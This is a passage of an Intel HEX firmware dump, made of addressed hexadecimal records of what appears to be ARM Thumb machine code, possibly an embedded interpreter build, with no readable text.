C002BAE\n:100DD0000AD0032B0BD103A9280011F04DFD039974\n:100DE0000600206B13F00AFB300004B070BD012B2D\n:100DF00007D18E1C49780429F6D0006BFEF792FDCE\n:100E0000F2E7042B0BD14B788978006B0902194368\n:100E100013F03DFB280011F06AFD0600E4E7052B06\n:100E200015D14379042B04D02649006B13F03BFB0A\n:100E3000F0E788784B780002184303A916F0E3FB2B\n:100E40000399246BF8F766F801002000EEE71A001A\n:100E50000A3A0F2A09D803A9280014F016FA0399B0\n:100E600006002000FFF79CFFBEE7082B0CD103A96A\n:100E7000280011F0F7FC039B226A9B00060099589A\n:100E8000206B13F010FBAFE703AB02AA01A9280007\n:100E900011F05EFD05000299206BFEF7F9FC019B45\n:100EA000094A9B009B582900039A20009847A36891\n:100EB000002B04D0E368002B01D1029BE360039E6A\n:100EC00092E7C04624DD020084D00200F7B5060098\n:100ED0000192FFF777FF04270500019B9D4200D197\n:100EE000F7BDA91C30006C78FFF76CFF2F3CE4B213\n:100EF00005003900082C01D8024B195D306B13F046\n:100F000045FCEAE7335C030010B54379C26A012B64\n:100F100003D1100015F099F910BD0B00006B0249C8\n:100F200015F0ACF9F8E7C04660C6020010B5437989\n:100F3000C26A012B03D1100015F087F910BD0B0018\n:100F4000006B024915F09AF9F8E7C04640C6020066\n:100F5000836870B504000D00002B09D1110005480D\n:100F600011F067F8A060200029000C3014F02AFC72\n:100F700070BDC046E0A5020010B5024AFFF7E8FFC9\n:100F800010BDC0466C5F0300F0B504000D00E162C7\n:100F9000002162712B7891B0059201619F4A072B65\n:100FA0003BD1059B012B06D00200836B08321B68E6\n:100FB0000599406B9847AB681800089311F097FCAF\n:100FC00063790890032B0FD10D9040210DA811F0EB\n:100FD000A7FCA36B02009B680D99606B9847A36800\n:100FE000E882002B00D0D4E0089811F080FC089033\n:100FF0000378002B4FD00A3B0F2B47D80DA914F0D4\n:1010000044F995220D9B9200934244D00AD80125C1\n:10101000483A93420DD0824A08992000FFF798FF82\n:1010200011B0F0BD7F4A934202D07F4A0325F0E71A\n:101030000025089811F05BFC1821089008A811F011\n:101040006FFC089B07900693069B079A934224D156\n:101050006379012B15D9A36B29005B68606B9847F6\n:101060006379042B0DD10023E06A03950293C18AB2\n:10107000626B0191009393680521D268006903F0C7\n:1010800063FEA368002B00D083E0C9E70100674A34\n:101090002000FFF75DFF0225CBE7069B08931B7836\n:1010A000222B04D1069811F022FC0690CCE71F2BCE\n:1010B00001D05F4AB0E709A9069811F022FC037835\n:1010C0000600432BF5D111F012FC099B9842F0D198\n:1010D00009A9300011F015FC037807000A3B0F2B1B\n:1010E000E7D811F004FC099B06008342E1D00378A5\n:1010F000472BDED111F0FBFB099B9842D9D10AA9FD\n:10110000380014F0C2F8300011F0F6FB9F210B906C\n:101110000BA811F005FC01000B9811F0DCFB9B22E1\n:101120000A9B0600920093421BD1012804D10B9820\n:1011300003780A3B0F2B01D93E4A6DE72669731CE1\n:101140002361059B012B21D00DA914F09EF8A36B00\n:101150000D9ADB683100606B9847002816D1364A3B\n:101160005AE7364A93421AD1012803D10B980378E3\n:10117000032B01D0324A4FE7059B012B06D0666B4B\n:1011800011F089FB0100300012F07BFDA368002BF9\n:1011900088D0200008990C3014F014FB40E7892215\n:1011A0009200934222D1012803D90B980378032B94\n:1011B00001D0244A30E7059B012BE7D00CA911F0A0\n:1011C0005BFB01270B900B980378032B01D01E4A81\n:1011D00022E70DA911F050FB01370B900D9A0C99E5\n:1011E000606B12F055FDBE42EDD1CFE7059B012BA0\n:1011F000CCD0032800D95CE70B9B18000D9311F0AD\n:1012000076FB0E9011F073FBA36B0F901F693200F9\n:101210000DAB0A99606BB847B8E7C046615E030042\n:10122000855E030091020000DA020000925E030076\n:10123000BA5E0300DD5E0300F95E0300FF010000FB\n:10124000095F0300255F03004A5F0300F0B5170044\n:101250000A0087B00493531E9A410D0006000499BA\n:101260003800059211F037FB2C1E039009D02B7823\n:1012700000243A2B05D102002100306B13F019FB3A\n:101280002C00059B01970293019B049A93421DD168\n:10129000002C3BD1039A059B944663441900306BA4\n:1012A00013F0FBFA002D3ED1049B9F422CD0BC4290\n:1012B0003CD1200011F020FB00220100300000F0A2\n:1012C0003BF8380011F013FB0700EDE7019B1B789A\n:1012D0003A2B0CD1002C12D1059B306B5A1E039B6C\n:1012E000D218029BD21A190013F0E3FA019C01985C\n:1012F00011F0FDFA029B019001330293C4E70D4AFD\n:1013000001993000FFF724FE07B0F0BD002DCBD0CF\n:10131000AC4208D1200011F0EFFA002201003000A9\n:1013200000F00AF8C0E700222900F8E7002239009F\n:10133000C4E7C046A65C0300F0B50B7817001A009E\n:101340000A3A85B004000D000F2A10D803A928001E\n:1013500013F09BFF03992000002F01D0022F03D12F\n:10136000FFF7D2FD05B0F0BDFFF71AFDFAE76A4AB4\n:10137000192B00D8CBE01A3B2A2B00D182E005DCE8\n:10138000062B08D0292B11D0644AC0E02B2B00D1AA\n:1013900094E0972BF8D1002F00D0B7E003A92800E4\n:1013A00011F0AFFA0200039B00219BE002A9280084\n:1013B00011F0A7FA0600022F03D001002000FFF76A\n:1013C00001FD300011F093FA0299060013F052FF6C\n:1013D0000028D9D13378A22B13D1300003A911F002\n:1013E00090FA0600300011F082FA039A01909042C0\n:1013F00007D2022F03D031002000FFF7E3FC019E4B\n:10140000F0E73378482B21D1022F06D1206B13F05F\n:10141000EAF8206B13F0A6F80EE0300011F06CFA39\n:1014200001002000FFF7CEFC206B012FF2D113F05A\n:10143000AEF8206B13F07EF8300011F058FA0299E4\n:1014400013F018FF002800D08CE79DE7492B9BD1B3\n:10145000300011F051FA03A913F017FF012F07D143\n:10146000206B13F08AF80399206B13F03BF8E3E745\n:10147000022F02D1206B13F09FF80399206B13F019\n:1014800064F8D9E703A9280011F03BFA0399060094\n:1014900013F0F0FE002800D076E7002F36D135009B\n:1014A00003A9280011F02DFA060011F020FA0378A4\n:1014B000A92B1BD100231A00310013E0002F25D1E6\n:1014C00003A9280011F01DFA0399050013F0D2FEBC\n:1014D000021E02D03B003A0066E72B78A62BDFD035\n:1014E000030029002000FFF7B1FE3BE7AA2B05D13E\n:1014F00003A911F006FA039B0200DDE7C12B00D11E\n:1015000042E711F0F4F9320003004DE7044A2900E4\n:101510002000FFF71DFD25E7475C03005F5C03002B\n:101520007A5C0300F0B5170085B0040008000D00D8\n:1015300011F0DDF93900060013F09CFE019000283F\n:101540001FD02379002B17D0E36A1E78002E13D109\n:10155000F6212000FF31FFF723FC29002000FFF7D0\n:1015600031FC330032000121206B13F0E0F9206BD5\n:1015700013F017F805B0F0BD29002000FFF722FC9A\n:10158000F5E733786D2B1DD1290001222000FFF7EC\n:10159000D3FE300011F0B0F94378811C4E3BDBB232\n:1015A00018260A2B01D8234AD65C2000FFF70AFC34\n:1015B0003100206B13F0EAF8022229002000FFF727\n:1015C000BBFED7E76E2B2ED1300003A911F099F99D\n:1015D00006000700039BBB421FD101992000FFF7C3\n:1015E000F1FB206B12F0C9FF002229002000FFF759\n:1015F000A3FE019BB342BDD0300011F078F9019BEE\n:101600000500834202D0206B12F0B7FF31000022A8\n:101610002000FFF791FE2E00EBE7380011F067F98C\n:1016200001970700D6E731002000FFF7CBFB019AB6\n:10163000C3E7C0463C5C0300F0B50B788DB00A3BB5\n:101640000400019103920F2B00D9FFE0080011F074\n:101650004EF90378432B00D0F8E0019811F047F9D8\n:1016600009A911F04EF9037842780A3B1B02134393\n:101670009B4A934200D0E9E011F039F90378050064\n:10168000472B00D0E2E011F077F9002800D0DDE030\n:10169000280011F02CF9099B984200D0D6E02800D0\n:1016A00011F02AF99F210A900AA811F039F90123B3\n:1016B0000A9D060028000B9311F019F907000A9003\n:1016C000B04200D1B8E011F012F90A90B0420ED049\n:1016D0000378032B00D0B9E00BA911F0CDF80B9BD8\n:1016E0000A90002B00D1B1E0B04200D0AEE02B78E0\n:1016F0004533DBB2022B00D8A8E03B784533DBB2A0\n:10170000022B00D8A2E0099B1800059311F0EFF816\n:10171000039A0290904201D1002302930B9B266909\n:101720000493A36926830793E38B0693731C638357\n:10173000A38BE383331D23613B780393032B03D0F7\n:1017400039002000FFF73EFB29002000FFF73AFB9D\n:10175000F11C206B12F05CFFB11C206B12F01AFE22\n:10176000206B12F00AFF002201992000FFF7E4FD30\n:1017700005992000FFF726FB711C206B12F00AFE72\n:101780000499206B12F03AFE1221206B12F0FEFF3A\n:10179000206BF11C12F0FEFD039B206B032B4ED03F\n:1017A00012F0F5FE206B12F007FF049B206B19214D\n:1017B000002B00DA1A21002512F0E8FFB21C0121EB\n:1017C000206B12F031FF079BA361069BE383029B12\n:1017D000AB421BD0206B12F0E4FE039B032B02D024\n:1017E000206B12F0DEFE02992000FFF7EBFA25696C\n:1017F000206B6B1C2361290012F00AFF039B206BF6\n:10180000D91E4B1E9941013112F00AFD3100206BA7\n:1018100012F0C0FD206B12F0C4FE039B032B02D01C\n:10182000206B12F0BEFE029B002B03D02900206B20\n:1018300012F0B0FD0DB0F0BD2F002A4D57E712F0A9\n:101840009CFE39002000FFF7BDFAAEE7A3692569C9\n:101850000493E38B6E1C0293AB1C0593A38B6683EE\n:10186000E383214B01982B432383EB1C236111F06D\n:101870003EF801002000FFF7A5FA07000121206BC8\n:1018800012F023FF3100206B12F084FDA91C206BA5\n:1018900012F02EFF002201992000FFF74DFD3900C4\n:1018A0002000FFF78FFA0700206B12F0B4FC00282D\n:1018B00003D13100206B12F0ABFEA91C206B12F09B\n:1018C00069FD206B12F020FF049BA361029BE38360\n:1018D000039BBB42AAD039002000FFF773FAA5E7AB\n:1018E000A20200002D0F03000080FFFFF0B589B0B9\n:1018F00005000591049200930191002904D09F21D5\n:1019000005A811F00DF8019000231E001F00059C92\n:1019100003930293019BA3421AD1002E0DD0029B88\n:10192000002B00D079E0286B12F0D2FD039B002B36\n:1019300000D077E0286B12F0CBFD049B286B002BC6\n:1019400000D174E033003A00009912F0F9FF0AE088\n:101950002378BB2B14D1BA3B1E4206D0374A210054\n:101960002800FFF7F5FA09B0F0BD012320001E435F\n:1019700010F0C2FF0290200010F0B9FF0400C9E788\n:10198000BC2B0BD1BA3B1E4201D02D4AE7E7022304\n:1019900020001E4310F0B0FF0390ECE7BD2B2AD1CE\n:1019A000200010F0A9FF040010F0A1FF0378C12B64\n:1019B0000BD128000622210013F072FD009B2000AD\n:1019C0000133009310F093FFD6E723780A3B0F2BE7\n:1019D00001D91C4AC3E707A9200013F056FC0400F4\n:1019E0000799286B12F053FD21002800FFF7EAF950\n:1019F000013704008EE7002E01D0134AAFE7002F15\n:101A000001D0124AABE721002800FFF7DBF9009B69\n:101A10000400013300933E007CE702992800FFF7A1\n:101A2000D1F983E703992800FFF7CCF985E7330064\n:101A30003A00009912F07BFF95E7C046895F0300EA\n:101A4000A05F0300B85F0300D95F0300F45F0300E9\n:101A5000F0B589B00400039103A83D2110F060FFA8\n:101A60000027E36A02905E7D0398029B984215D19D\n:101A7000180010F041FF029B03901B780100320018\n:101A800020001D2B59D113F0B6FC0500013F57D2A1\n:101A900029002000FFF738FA09B0F0BD05A910F0C1\n:101AA00030FF6821039003A810F03AFF06A9050053\n:101AB000039813F0EAFB9623069AFF3301909A42AB\n:101AC00013D003992000FFF77DF9013703900398A5\n:101AD000A84229D10599280013F0CCFB00280CD18D\n:101AE00029002000FFF76EF907E0019B9D4207D80F\n:101AF000174A00212000FFF72BFA059B0393B3E759\n:101B0000019810F0F4FE8542F2D107A9019813F074\n:101B1000BCFB079B0F4A934204D00F4A9342E7D184\n:101B20000426EAE70126E8E707A913F0AEFB0799C8\n:101B30000390206B12F0D6FCC9E713F0A6FEA4E7D1\n:101B4000002301211A00206B12F0F1FE9EE7C0462F\n:101B50005F5D03001102000006020000F7B50A787D\n:101B60000E00130008215D3B8B43DBB20400002B09\n:101B700002D101338371F7BD13005E3B8B43DBB2AF\n:101B8000002BF8D013000A3B0F2B30D95C2A26D14A\n:101B900001A9300010F0B5FE070010F0A8FE019B6F\n:101BA000834201D1002505E010F0A1FE019B050054\n:101BB0008342F7D001A9380013F067FBA379002D09\n:101BC00002D02A78002A14D1002BD4D1E38A002B2A\n:101BD000D1D01C4A31002000FFF7BAF9CBE7300022\n:101BE00010F08AFE070010F082FE0500E2E73700E1\n:101BF000D8E7002B1ED0A38A01339BB2A382012B0E\n:101C000009D1E18A206B002911D012F0E1FD0021F9\n:101C1000206B12F0F7FD29002000FFF7D3F8206BAE\n:101C2000019912F034FC206B12F0F8FDA3E712F0DA\n:101C30004FFCECE7E38A29000133E3822000FFF741\n:101C4000C1F898E77D5D0300F0B504000E0005695A\n:101C500087B002936B1C0393AB1C03612900006BDC\n:101C6000170012F00FFD200013F017FB31002000C9\n:101C7000FFF7A8F8206B12F04DFD691C206B12F0E5\n:101C8000C7FC2900206B12F085FB206B12F09CFE34\n:101C90002669731C2361029B9F4218D1A38B206B82\n:101CA000013BA38312F006FD206B12F092FE039914\n:101CB000206B12F06FFB0C9B002B03D0190020004F\n:101CC000FFF780F83100206B12F064FB1BE0380056\n:101CD00010F012FE002305932369050001930133E0\n:101CE00023610378002B10D110F001FE10F0FFFDEE\n:101CF000029B984224D03C4A29002000FFF728F993\n:101D0000A38B013BA38307B0F0BD07008B2B07D14A\n:101D100010F0F2FD070010F0EAFD05A913F0B5FA86\n:101D2000206B12F02AFC39002000FFF74BF821212C\n:101D3000206B12F02BFD019A0021206B12F074FC35\n:101D4000280010F0D4FD05990700002947D1206B29\n:101D500012F027FC059D002D09D02569206B6B1C16\n:101D60002361290012F09AFC200013F096FA390042\n:101D70002000FFF727F8059B0700002B02D0206BFF\n:101D800012F0C8FC206B12F0EAFC059B002B19D066\n:101D90000E21206BFDF7C6FD2900206B12F0FAFA28\n:101DA0000E21206BFDF7BEFD05992000FFF7ACF872\n:101DB00020000599FFF7BAF8A38B206B013BA383A2\n:101DC00012F078FC3100206B12F022FC0199206B9C\n:101DD00012F0E0FA0121206B12F022FA5BE72000FA\n:101DE000FFF792F8B6E7C04616600300F0B587B07B\n:101DF000039143790400012B07D1C36A0D001B78BE\n:101E0000002B04D1194AFFF7A3F807B0F0BD6921F0\n:101E100003A810F085FD02900398029B9842F4D02D\n:101E200005A90B2713F031FA059B0390019302AB30\n:101E3000FF183A000199E06A10F02FFB3B7806008A\n:101E4000002B0DD0019A0100E06A10F051FB3378AD\n:101E5000074A002BE0D129002000FFF779F8DBE7E3\n:101E60000378042BD8D0034AF5E7C046CA5D0300C7\n:101E7000EF5D03000D5E0300F0B587B00391447978\n:101E80000500012C09D1019103A8692110F048FD3A\n:101E900002900398029B984201D107B0F0BD05A9BA\n:101EA0000B2713F0F2F902AB059EFF1803903A00DE\n:101EB0003100E86A10F0F1FA3B78002B08D1037882\n:101EC000012B05D0074A01992800FFF741F8E0E708\n:101ED00004703100E86A10F002FB0028D9D00470C9\n:101EE000D7E7C046AB5D030010B5084B428B04003A\n:101EF0009A4202D1064AFFF72BF8A28BE38B618B43\n:101F0000D21A206BFDF734FD10BDC046FFFF000064\n:101F1000475D030010B5084B028B04009A4202D1C2\n:101F2000064AFFF715F8A28BE38B218BD21A206BA0\n:101F3000FDF71EFD10BDC046FFFF0000325D03002F\n:101F4000F7B50B7804001A000A3A0E000F2A08D8D9\n:101F500001A9300013F099F901992000FEF7E6FF7E\n:101F6000F7BD432B44D16946300010F0CAFC010094\n:101F70002000FEF727FF03780500A22B10D101A94E\n:101F800010F0BFFC0500280010F0B1FC019B070019\n:101F9000834205D029002000FEF714FF3D00F2E740\n:101FA0002B78482B16D1280010F0A6FC0100200049\n:101FB000FEF708FF0500206B12F01FFB00992800B8\n:101FC00013F058F90028CBD1214A31002000FEF748\n:101FD000BFFFC5E7492BF7D1280010F08DFC01A900\n:101FE00013F053F901990500206B12F0EFFAE5E7C1\n:101FF000442BE9D1080010F0BFFC0028E4D13000E8\n:1020000010F07AFC060010F077FC050001002000BB\n:10201000FFF796FF280010F06AFC0378A92B9FD0E9\n:10202000AA2B0ED101A910F06CFC019B0500834284\n:1020300096D020002900FFF783FF280010F057FCFE\n:10204000F3E7C12BC0D001002000FFF779FF87E73D\n:10205000C05C0300F7B502260D00C16A0400097DCB\n:10206000314005D0344A29002000FEF771FFF7BD4A\n:102070000191297808000A380F281DD8280001A9E5\n:1020800013F003F9A279E36A002A03D01A8B013214\n:102090001A8302E0DA8A0132DA82012601990029E4\n:1020A000E5D06B46DF1C3A00E06A10F0F6F93B78A9\n:1020B000002B3CD1214AD6E71A32914204D12800A4\n:1020C00010F01AFC01A9DBE71A33994223D1A37956\n:1020D000002BC7D101272800A77110F04DFC032663\n:1020E0000028DBD1280010F007FC0278E36A0A3AE6\n:1020F0000F2A09D828001A7D17431F7510F0FCFB22\n:1021000001A913F0C2F8C9E71A7D280017431F750B\n:1021100010F0F2FBF2E7280010F0EEFB01A913F03B\n:10212000B4F8E36A1A7D16431E750526B6E7022346\n:10213000467003709BE7C0461E0F0300485E030015\n:10214000C36A70B51B7804000D00072B04D00C4A3D\n:102150000021FEF7FDFE70BD1100280013F08AF883\n:10216000002807D00E21206BFDF7DCFB206B12F05E\n:10217000F1FBF0E729002000FEF724FEF6E7C04659\n:102180002E5E0300C36A70B51B7804000D00072B98\n:1021900006D0022B04D0174A0021FEF7D9FE70BDED\n:1021A0001100280013F066F8061E07D00E21206BE0\n:1021B000FDF7B8FB206B12F0E8FBF0E72B78C42B9F\n:1021C00012D1280010F098FB01002000FEF7FAFD64\n:1021D0003100206B12F079FA206B0E21FDF7A2FB83\n:1021E000206B12F0E1FBDAE729002000FEF7EAFDA0\n:1021F000E0E7C04635600300F0B50D0085B004008F\n:102200001100280013F036F8071E05D00021206BBE\n:1022100012F0F8FA05B0F0BD2B784E2B0BD1206BE5\n:10222000012112F0EFFA29002000FEF7CBFD206B10\n:1022300012F0F4FAEEE7B32B61D1280010F05CFB4A\n:10224000050010F054FB02900378B62B4DD103A982\n:1022500010F057FB039B0290984203D09D2102A8E7\n:1022600010F05EFB2B784E2B20D103990298266B41\n:1022700010F031FB411C300012F0C4FA290020009C\n:10228000FEF7A0FD206B12F0C9FA0127029E039B06\n:102290009E4210D1002FBDD131000298246B10F066\n:1022A0001AFB411C200012F0C4FAB3E729002000F9\n:1022B000FEF788FDEAE73378310020000193FEF74E\n:1022C00081FD019B0600002F0BD04E2B05D00F4A3D\n:1022D00029002000FEF73CFE9CE7206B12F09EFADE\n:1022E000D5E74E2BD3D10A4AF2E72B7804224E2BA6\n:1022F00000D005222900200013F0D2F88AE7290037\n:102300002000FEF75FFD0121206BCCE7D85C0300C5\n:10231000FB5C0300F0B504000D00002662711100A3\n:10232000C56206612A0087B0006BFDF71FFA62796B\n:10233000012A01D1EE832E84AE683378542B0AD162\n:10234000300010F0D9FA01002000FEF73BFD206BB1\n:1023500012F000FB2AE02B78002B08D1310020007E\n:10236000FEF730FD0E21206BFDF7DCFAEFE7072BBF\n:1023700021D1300010F0BBFA63790500012B07D1A1\n:1023800000230100A37140225F4B200012F0F8FFF0\n:10239000280010F0ACFA10F0AAFA01002000FEF7B5\n:1023A00011FD206B11F037FF0028DBD0206B11F0FE\n:1023B00005FF07B0F0BD022B17D1012A07D100237A\n:1023C0004732A3713100514B200012F0D9FF300089\n:1023D00010F08DFA01002000FEF7F4FC2B7D5B0766\n:1023E000B5D5206B12F0DDF8BCE7033B032B50D8CA\n:1023F000300010F07CFA05A910F083FA10F077FA9B\n:1024000067790390012F09D10B2202ABD218390052\n:10241000E06A10F042F802230370EF822B78032B5E\n:1024200020D10021206B12F0E0F92B78062B27D168\n:10243000206B12F04DF801212000FEF7B1FC206B5B\n:1024400012F046F8206B12F043F80023059A00932F\n:1024500003993300200013F0D7FC2B78062B00D013\n:1024600075E77FE7042B04D10021206B12F0CAF935\n:10247000DBE7052BD9D10021206B12F0DAF9D4E784\n:1024800020000121FEF78CFC0121206B12F01DF9C8\n:10249000DBE7012A07D1DE2105AAFF3128000FF072\n:1024A000FCFF0223037005A9A86812F0EEFEF821D4\n:1024B00020004900FEF774FCF0212000FF31FEF7F8\n:1024C00023FDE989206B11F0E2FFFA212000490089\n:1024D000FEF71AFDA86810F00AFA10F008FA0100D9\n:1024E0002000FEF76FFCDE212800FF310FF0C5FF52\n:1024F0000378022B00D135E7DE214288FF31206BC3\n:1025000011F09CFE23E7C046295A02001D5A020022\n:10251000F8B5164B0400A8331B681600002B24D115\n:10252000056901226B1C03612B0013F0F3FBBE2134\n:102530000700FF31206B11F0AEFE3100380012F0C1\n:1025400099FE061E09D139002000FEF73BFC33003E\n:1025500032000121206B12F0EAF90121206B12F008\n:1025600006FA2900206B11F015FFF8BD842E00201B\n:10257000F0B585B005000E000192FEF723FC03784C\n:102580000400A22B03D101A910F0BBF90400EB6AEF\n:102590001B78072B00D070E0337872780A3B1B025F\n:1025A0001343504A934268D12378472B65D12000CA\n:1025B00010F0E2F9002860D0DE212800FF31FEF79C\n:1025C000EFFB0121EA6A936A928C002A06D1464AFF\n:1025D00021002800FEF7BCFC05B0F0BD5878084289\n:1025E00011D059682800FEF7DBFB0199200010F09C\n:1025F00072F902280ADC0023286B1A00022112F06B\n:1026000096F9200036E0013A0833DEE7200010F0AA\n:102610006EF90378492BEED1200010F068F910F024\n:1026200066F90378472BE6D1200010F060F9070027\n:1026300010F05DF90600380010F05EF903A912F001\n:1026400024FE03990122286B11F058FF300010F08E\n:1026500093F90021884203D1300010F04DF90100B8\n:10266000002301222800FFF741F9200010F03FF974\n:1026700010F03DF910F03BF90400019BA342ABD0F0\n:10268000200010F034F9019B0600834224D0237807\n:10269000492B21D10378472B1ED1200010F02CF9B3\n:1026A0000700300010F068F90024A04203D1300088\n:1026B00010F022F9040003A9380012F0E6FD002210\n:1026C0000399286B11F01AFF280000230122210032\n:1026D000FFF70CF93000CDE721002800FEF772FB70\n:1026E000CAE7C046C70200001A5D0300F0B5070044\n:1026F0009BB015000291382200210CA81E0016F094\n:1027000066FF029B0BAC0B937B6838682362012346\n:102710005B421193267110F0EAF810F0BCF8606289\n:1027200080000FF052FC0022A062009500253B685B\n:102730001100200012F0BBFD11F02AFD2B000390C8\n:1027400020630495626A0792954202D2A268002A29\n:1027500027D0002B43D1059301339C46079B059A54\n:10276000934202D00D9A002A3CD00499039811F0AC\n:1027700014FD0025149A0D9B0292954200D320E18E\n:10278000002B00D1DCE0169B0EA8996813F01AF814\n:10279000169B0E9A0293DB890B990D98EFF7ACFF0D\n:1027A00012E1A16AAA005658002E13D03269002AFD\n:1027B00010D114F086FC737D3061012231002000BD\n:1027C000042B09D1FEF7E0FB2369049A9A4200D258\n:1027D000049301230135B5E7FFF79CFDF4E70023DF\n:1027E0001D00AFE70599159B8900CB58002B33D00E\n:1027F0006046998C0291197D014215D00299481EBC\n:10280000411C11D002259C6AC10061184C782C42F1\n:1028100026D0002A08D00D0050681468069041CDDB\n:1028200041C2069A0C604A600021DE249983FF347D\n:10283000029A91421BDB0021029A914236DB5E68CC\n:10284000002E09D00021B28C09920A000998814219\n:102850003CDB0020824268D1059B013305937DE774\n:10286000002A02D1012C00D10A000138C8E7986A79\n:10287000CA0082181878012804D15068A0420DD1EE\n:102880000131D5E71578012808D9002D06D1604619\n:10289000107065465078284203D1F1E7107802287D\n:1028A000F7D1988B451C9D835080E9E7986ACA0050\n:1028B00082181078032807D164465078204203D14B\n:1028C000988B5080013098830131B5E7B06ACD0014\n:1028D0004019089000780338012816D8002411E028\n:1028E0009D6AE000281805780690042D09D1089803\n:1028F00045682800069D6D68A84202D1069842806E\n:102900000132013402988442EADB01319EE79C6A7D\n:10291000C10061180C78042C03D165464C782C4218\n:1029200002D04C88A4184C80013002998142EEDC20\n:10293000D98A92B25118D982998B52189A838BE70F\n:10294000159B0293029AAB009C58002C1DD0637D0E\n:10295000042B1CD1189B0293002B04D104991398CB\n:1029600011F05DFB1890002317932C4B03222100DC\n:102970000BA81993FEF708FB0D9B0293002B04D1C3\n:10298000042221000BA8FEF7FFFA0135F2E6039BB3\n:10299000022221000BA81793FFF7BCFC0D9B0293AA\n:1029A000002BF2D1032221000BA8FFF7B3FC0D9BF3\n:1029B0000293002BE9D1042221000BA8FFF7AAFC07\n:1029C000E3E7002B00D0DEE6039811F0EEFB189849\n:1029D000002801D011F03AFB002438000FF0D6FF98\n:1029E000159B1B681D69149B159802939C4207D385\n:1029F0000FF008FB0D9900290AD00800F4F750FDEC\n:102A0000A3001858002801D00FF02EFD0134EAE78A\n:102A10000A00280014F061FB1BB0F0BDB0C5020035\n:102A2000044B88600B60044B08004B600023CB60B4\n:102A30007047C04684DC0200B962020070B50E0027\n:102A400011490400002510F002FA7368AB420AD85D\n:102A5000012B03D10D49200010F0F9F90C49200099\n:102A600010F0F5F970BD002D03D00A49200010F0D8\n:102A7000EEF93300A9000833012259582000F9F774\n:102A8000D5FE0135E1E7C046311A03004E60030070\n:102A9000BD420300C807030070B50D0001281FD018\n:102AA000002803D0022807D0002070BD4B680E48D4\n:102AB000002BFAD10D48F8E701230D4C6A685E1C23\n:102AC000013B9A4203D8012064002043EDE7B300A4\n:102AD000E9580220EDF74CFE401024183300EDE7D2\n:102AE0004B685B001843E0E7B4AD0200ACAD0200F8\n:102AF00064D1020070B506000D000C48002E0FD006\n:102B0000B41CA40020000FF04EFA094B466003608D\n:102B1000002D05D002000023083C0832A34200D15A\n:102B200070BDE958D1500433F8E7C04664D10200C3\n:102B30006CD10200F0B5070085B00E0014001D280E\n:102B400003D90025280005B0F0BD01238340314D95\n:102B50001D4044D1304A13421FD1F822920513423E\n:102B6000EFD02000F9F74AFE2C4B426A9A4205D07A\n:102B700020002B4910F042FB041E0CD02300310032\n:102B8000626808330092083172683800FDF77AFFF6\n:102B9000244D0028D6D1244DD4E72000F9F72EFE8D\n:102BA0001F49F6F72DF80028CBD07368626829001A\n:102BB0009818FFF79FFF07003100736808379A00E5\n:102BC00005000831380016F0E6FC210070686368E3\n:102BD000800038189A00083116F0DDFCB2E703A92E\n:102BE0001000F9F72DFF051EACD003980F4D0028FB\n:102BF000A8DD736800215843FFF77CFF05002B0018\n:102C00003000083300930830039B7268042112F0EF\n:102C100088FA97E78000100020000400212A0100B4\n:102C20006CD10200B4AD0200ACAD020064D1020070\n:102C300030B5040085B0042A2DD1032540680D402D\n:102C40001FD1164B0A689A421BD101AAFDF7AAFEB2\n:102C5000002802D11248EEF707FD019B02982900D7\n:102C6000C01AFFF747FF050021006B6808319A0082\n:102C7000019B08309C00091916F08DFC280005B056\n:102C800030BD0A00002301002068F9F775FF02300B\n:102C900080000559F2E70025F0E7C04644BC020079\n:102CA0004D0E0300F0B50C001100002285B01E008F\n:102CB000009201232000EFF741FB184D002C1ED09D\n:102CC0003568AB0703D1164B2A689A4217D01020FB\n:102CD0000FF069F9002104003068EDF7B1FE00251E\n:102CE000042603900398EDF70DFF071E0AD1280074\n:102CF0002100FFF7FFFE050020000FF083F92800F8\n:102D000005B0F0BDAE4205D8F10020000FF069F922\n:102D100004007600AB001F510135E3E764D10200E7\n:102D20006CD102000048704716FCFFFF0048704756\n:102D300016FCFFFF82B007B591B2049205930529F6\n:102D400009D01B2902D104A801F04EFE002003B0D7\n:102D500008BC02B0184704AB5B88032BF6D106A968\n:102D60000822684616F017FC0349049A059B086878\n:102D700004F0B6FCEAE7C0466C2A00200022044BAF\n:102D80005A60044A08321A60034A13607047C0460A\n:102D90002802002004D20200A82B002000B58BB02E\n:102DA00000F0E6FC684613F0B0FA054BD968091A42\n:102DB000890800F099FC00F0F3FC0BB000BDC046A0\n:102DC000842E002010B5010083880120A0229840A5\n:102DD000044BD205D050CA88083114F06FFE024867\n:102DE00010BDC0460C05000024DD0200EFB5070051\n:102DF00008001500F988020000233868F9F7BCFEC6\n:102E000003267043002D14D03F18042D14D1012344\n:102E10007A7A01A952001A4301923A7A30009A4014\n:102E20001A430292BA7A9A4013430393FFF762FE61\n:102E30000500280004B0E0BD310001AA2800F9F720\n:102E400087FE019B1868F9F7BDFD019B06005868D5\n:102E5000F9F7B8FD019B05009868F9F7B3FDFF2E5F\n:102E600003D8FF2D01D8FF2802D90448EEF70AFA4B\n:102E70003D727E72B872024DDBE7C04669600300A6\n:102E800024DD0200F7B51C00002300930233080084\n:102E900011001A00EFF752FA206812F03DF947B21C\n:102EA0006068F9F78FFD041E02DC1048EEF7EAF9BE\n:102EB00003263000604308300FF075F80C4BA2B2C7\n:102EC0000500878072430360C4800021083016F03B\n:102ED0007EFB3B00A022C133FF33D2059B009E50F6\n:102EE0000123BB40034928005350FEBD506003003E\n:102EF00070D202000C050000032210B50400C38844\n:102F000000215A43083016F062FB2000FFF75AFFF9\n:102F1000004810BD24DD02000379044AD35C002B75\n:102F200000D183790248DB00C0187047E12D0020F2\n:102F3000ACD2020010B50400FFF7EEFF227903685F\n:102F400002490348EFF76CFBF4F7AAFA7860030034\n:102F5000D0A60200002803D001210379014AD154F0\n:102F60007047C046E12D002010B5FFF7D5FF034B99\n:102F70004068C01A431E9841C0B210BD352F0100F1\n:102F800070B506000C00FFF7C7FF0C4D2B0028336F\n:102F9000984204D12A001032002394420BD000231F\n:102FA000A04208D0436830009847641B3379044A34\n:102FB000E410D4540123180070BDC046ACD2020006\n:102FC000E12D0020F0B50E00496885B0050017001E\n:102FD000002901D0002A05D13100280013F0D1FAD0\n:102FE00005B0F0BD0F321309C918019313F038FA78\n:102FF0000F22A968B3687468174000D11037019A8E\n:10300000234812190092121852008A1820180292AE\n:10301000400094461022181821000023D71B0029D5\n:1030200022D1FB401A48029A84466400141B238074\n:10303000019B5F007F426344B81C20185A0016F0C1\n:10304000C6FAE419009B002B03D05B00E35A002B67\n:1030500019D00121009B6B603378DB07DA0F2B78E6\n:103060008B4313432B70BBE70288013913431A00CB\n:103070000393F